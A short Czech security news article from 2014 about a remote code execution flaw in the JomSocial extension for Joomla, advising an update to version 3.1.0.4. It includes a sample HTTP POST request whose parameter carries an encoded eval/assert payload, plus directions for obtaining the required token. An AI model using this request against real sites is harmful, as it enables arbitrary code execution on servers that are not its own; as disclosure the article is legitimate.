Nalezena Remote Code Execution zranitelnost v jednom z rozšíření pro Joomlu

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: ScheRas
Datum: 12.2.2014
Hodnocení/Hlasovalo: 0/0

Tisíce webových stránek běžících na CMS Joomla! a používajících rozšíření JomSocial je náchylných k Remote Code Execution útoku.

Rozšíření je v současné době uvedeno na seznamu zranitelných pluginů. Tato chyba je hojně zneužívána a několik desítek uživatelů již hlásilo, že jim někdo naboural webové stránky.

Chyba se nachází v kontroleru "photos". Parametry zpracovávané pluginem 'Azrul' nejsou řádně escapované a jsou rovnou předány funkci call_user_func_array. To umožňuje útočníkovi zavolat libovolnou statickou třídu s použitím libovolného množství parametrů. Nebo použít CStringHelper::escape a pak spustit libovolný PHP kód.

Platný požadavek by tedy mohl vypadat nějak takto:

POST / index.php HTTP/1.0
Host: example.com
...
option = community &
no_html = 1 &
task = azrul_ajax &
func = fotky, ajaxUploadAvatar &
TOKEN = 1 &
arg2 = ["_D_", "Event"] a
arg3 = ["_D_", "374"] a
arg4=["_d_","%7B%22call%22%3A%5B%22CStringHelper%22%2C%22escape%22%2C%20%22%40exit%28%40eval%28%40base64_decode%28%27ZWNobyAnSGVsbG8gV29ybGQnOw%3D%3D%27%29%29%29%3B%22%2C%22assert%22%5D%7D"]
Přičemž token je třeba nahradit 32 znaků dlouhým hexa kódem, který vyčteme ze skrytého input, jenž má hodnotu 1 a najdeme na každé stránce.

Všem administrátorům používajícím toto rozšíření se doporučuje aktualizovat na nejnovější verzi 3.1.0.4.